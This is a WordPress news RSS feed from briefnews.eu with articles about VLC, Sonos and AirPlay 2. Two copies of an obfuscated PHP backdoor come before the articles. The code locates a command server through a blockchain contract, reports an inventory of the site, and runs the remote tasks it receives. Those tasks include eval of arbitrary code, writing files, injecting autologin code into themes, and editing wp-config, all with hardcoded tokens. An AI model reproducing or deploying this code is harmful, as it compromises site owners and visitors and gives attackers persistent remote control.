// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); AirPlay – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 11 Jan 2019 05:44:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png AirPlay – Brief News https://briefnews.eu 32 32 VLC reaches three billion downloads, will soon add AirPlay https://briefnews.eu/vlc-reaches-three-billion-downloads-will-soon-add-airplay/ https://briefnews.eu/vlc-reaches-three-billion-downloads-will-soon-add-airplay/#respond Fri, 11 Jan 2019 05:44:13 +0000 http://briefnews.eu/vlc-reaches-three-billion-downloads-will-soon-add-airplay/

VLC, the video player that’ll crunch every format you’ve heard of, plus all the ones you haven’t, is about to hit a huge milestone. Variety spotted an installation at VideoLan’s CES booth that’s counting ever-closer to the three billion download mark. The VideoLan team expects the (really) Big Three-Oh to be hit at some point on Friday, with around 25 percent of all downloads going to mobile devices.

In a celebratory mood, company representatives said that VLC would be working to bring AirPlay to its platform in the future. The report quotes developer Jean-Baptiste Kempf, who thinks the ability — which would let Android users beam videos to Apple TVs — could arrive next months. Other projects the team are working on include a VR mode for watching 2D content on VR headsets and a better media library. While it’ll never attempt to complete with Plex, Kempf hopes VLC can be a better alternative for iTunes.

Source: Variety

]]>
https://briefnews.eu/vlc-reaches-three-billion-downloads-will-soon-add-airplay/feed/ 0
AirPlay 2 makes Sonos the best audio option for most iPhone owners https://briefnews.eu/airplay-2-makes-sonos-the-best-audio-option-for-most-iphone-owners/ https://briefnews.eu/airplay-2-makes-sonos-the-best-audio-option-for-most-iphone-owners/#respond Wed, 11 Jul 2018 14:21:26 +0000 http://briefnews.eu/airplay-2-makes-sonos-the-best-audio-option-for-most-iphone-owners/

For a long time, Sonos was only capable of streaming music to its speakers through a proprietary app, but that’s changed in the last few years. After working with music services like Spotify and Pandora, users can stay in those apps and stream music straight to your Sonos setup. That hasn’t been the case if you’re an Apple Music user, until now: as of today, Sonos supports Apple’s AirPlay 2 protocol. After spending a week or so testing out a beta version of the software, I can say that pretty much all Sonos owners who use iOS devices will get a lot out of this update.

If you’re using an iPhone or iPad, you can now go to Apple Music, start playing an album or playlist, tap the AirPlay button and pick which speakers you want to stream your music to. From the AirPlay interface, you’ll be able to see any compatible Sonos speakers, as well as any other speakers in your setup that support AirPlay 2 (like Apple’s own HomePod, for example). You can shoot music to whatever speakers you want; you can also adjust the volume for each individual speaker as well as the group. This means you can have a multi-room audio setup with a mix of speakers, not just ones from Sonos.

If you’re not an Apple Music user, you’ll still likely get some benefit from the AirPlay 2 update. Pretty much any music app on iOS that supports AirPlay will work with these new features. I’ve tested it with Spotify, Google Play Music, YouTube Music and Pandora, and it works just as well there as it does with Apple’s own music app. For many, this means you won’t have to use the Sonos app at all aside for setup and software updates

AirPlay 2 support also means that Apple Music users can now control their tunes with their voice, thanks to Siri. Sonos’ speakers don’t support Siri directly; they’re Alexa-only for the moment. But, you can speak to your phone or iPad and tell it to play the music of your choice.

You can also use your voice to control on which speaker(s) the music will play. First, you’ll need to set up Sonos speakers in the iOS Home app; once you give them a name identifying what room they’re in, you can tell Siri to play a song or album in a specific room. Or you can just say “play everywhere” to get all your speakers in sync. After that, you can say “stop playing in the living room” to turn off a speaker while letting tunes continue elsewhere.

One of the nice things about AirPlay 2 and Sonos is that once you’ve kicked off music with Siri, you can then use Alexa on your compatible Sonos speakers to control music from there. You can skip tracks, adjust volume, and control which speakers are playing. It’s a little weird to jump between different voice assistants, but it’s nice to use Alexa to do simple things like change volume and tracks without having to pull your phone out.

Finally, if you have older Sonos speakers, they aren’t completely left out of the party. As Sonos has already said, only the Play:5, One, Playbase and Beam will work directly with AirPlay 2. But, if you have older speakers, you can group them with these newer devices in the Sonos app. Then, anything playing on the AirPlay 2 speaker will also stream to the other ones it is grouped with. You can’t ask Siri to play on one of those older speakers, but at least they aren’t completely left out of the loop.

This is one of the bigger software updates that Sonos has released in a while, and it’s one that any Sonos owner with an iPhone will appreciate. The millions of people using an iPhone with other music services will be happy with the new AirPlay-powered controls, and Apple Music users can now use Siri to tell Sonos what they want to hear. It’s a significant upgrade across the board and gives potential buyers another reason to go with Sonos rather than trying a HomePod.

]]>
https://briefnews.eu/airplay-2-makes-sonos-the-best-audio-option-for-most-iphone-owners/feed/ 0
Sonos launches a new mini soundbar, pegs AirPlay 2 support for July https://briefnews.eu/sonos-launches-a-new-mini-soundbar-pegs-airplay-2-support-for-july/ https://briefnews.eu/sonos-launches-a-new-mini-soundbar-pegs-airplay-2-support-for-july/#respond Thu, 07 Jun 2018 11:39:40 +0000 http://briefnews.eu/sonos-launches-a-new-mini-soundbar-pegs-airplay-2-support-for-july/

Sonos

Sonos on Wednesday announced the Beam, a soundbar for living rooms with smart-speaker functionality similar to that of the company’s Sonos One speaker.

The popular audio manufacturer announced the Beam at an event in San Francisco, California. The new device will ship on July 17 for $ 399, with pre-orders available on the Sonos website starting Wednesday.

Read 12 remaining paragraphs | Comments

]]>
https://briefnews.eu/sonos-launches-a-new-mini-soundbar-pegs-airplay-2-support-for-july/feed/ 0
Apple lists speakers that work with AirPlay 2 streaming https://briefnews.eu/apple-lists-speakers-that-work-with-airplay-2-streaming/ https://briefnews.eu/apple-lists-speakers-that-work-with-airplay-2-streaming/#respond Tue, 29 May 2018 21:48:49 +0000 http://briefnews.eu/apple-lists-speakers-that-work-with-airplay-2-streaming/

Today, Apple released iOS 11.4, bringing with it AirPlay 2, Apple’s latest standard for streaming audio, video and games to your speakers or TV. One of the key features of AirPlay 2 is the option to play audio through two HomePod speakers in stereo — that’s the only speaker which supports AirPlay 2 right now. But there are a number of third-party speakers you can also soon use with AirPlay 2, with the option to chain them together to set up groups and multi-room playback.

Among the initial wave of speaker brands supporting AirPlay 2 is Sonos. The company is holding an event next week, probably related to a home theater system, but we might also learn more about its AirPlay 2 plans. As of now, the only speakers we know Sonos will support with the standard are the Play:5, Playbase and voice-activated One. But, if you have other Sonos speakers, you can group them with one of those models to enable multi-room playback.

Other makers that will support AirPlay 2 include Apple’s own Beats brand, along with Bose, Bang and Olufsen, Beoplay, BeoSound, BeoVision, Denon, Libratone, Marantz, Naim, Devialet, Dynaudio, Polk, McIntosh, Bowers & Wilkins, BlueSound and Definitive Technology. You can check out the full list of confirmed models supporting AirPlay 2 here, though brands yet to announce which specific speakers will back the standard don’t appear on that rundown.

Via: 9to5Mac

Source: Apple

]]>
https://briefnews.eu/apple-lists-speakers-that-work-with-airplay-2-streaming/feed/ 0
Apple’s AirPlay 2 arrives in iOS and tvOS 11.4 betas, enabling multiroom streaming https://briefnews.eu/apples-airplay-2-arrives-in-ios-and-tvos-11-4-betas-enabling-multiroom-streaming/ https://briefnews.eu/apples-airplay-2-arrives-in-ios-and-tvos-11-4-betas-enabling-multiroom-streaming/#respond Tue, 03 Apr 2018 20:28:24 +0000 http://briefnews.eu/apples-airplay-2-arrives-in-ios-and-tvos-11-4-betas-enabling-multiroom-streaming/


Originally announced at WWDC 2017 only to be delayed repeatedly throughout iOS 11’s beta release cycles, Apple’s new wireless streaming protocol AirPlay 2 is now usable in iOS 11.4 and tvOS 11.4. Betas of the latest Apple operating systems became available to developers yesterday and consumers today. AirPlay 2 was expected to debut with…Read More

]]>
https://briefnews.eu/apples-airplay-2-arrives-in-ios-and-tvos-11-4-betas-enabling-multiroom-streaming/feed/ 0
Apple brings mulitroom speaker support to HomeKit with AirPlay 2 https://briefnews.eu/apple-brings-mulitroom-speaker-support-to-homekit-with-airplay-2/ https://briefnews.eu/apple-brings-mulitroom-speaker-support-to-homekit-with-airplay-2/#respond Mon, 05 Jun 2017 18:41:27 +0000 http://briefnews.eu/apple-brings-mulitroom-speaker-support-to-homekit-with-airplay-2/

Apple’s HomeKit has provided iPhone and iPad users with a simple platform to connect multiple smart home devices, but it’s shied away from one of the most important gadgets: speakers. While we’re yet to see whether the rumored Siri speaker is real, the company announced today that it’s expanding its smart home hub to support a large number of third-party audio hardware.

Many of the brands you’d expect to be on board are, including Bang & Olufsen, Bose, Denon, Bowers & Wilkins, Libratone and, of course, Beats. However, Sonos isn’t on the list, at least at the moment. If you happen to own a connected speaker made by one of Apple’s listed partners, expect them to update their speakers to integrate with the HomeKit app, allowing you to control your multi-room setup and enjoy collaborative Apple Music playlists that you’ve curated with friends.

The functionality comes as a result of AirPlay 2, an updated version of Apple’s wireless AV technology. The company hasn’t clarified if older AirPlay-enabled speakers can be updated to support the new platform — we’ve contacted Apple for more information and will update you once we hear back.

Get all the latest news from WWDC 2017 here!

Engadget RSS Feed

]]>
https://briefnews.eu/apple-brings-mulitroom-speaker-support-to-homekit-with-airplay-2/feed/ 0
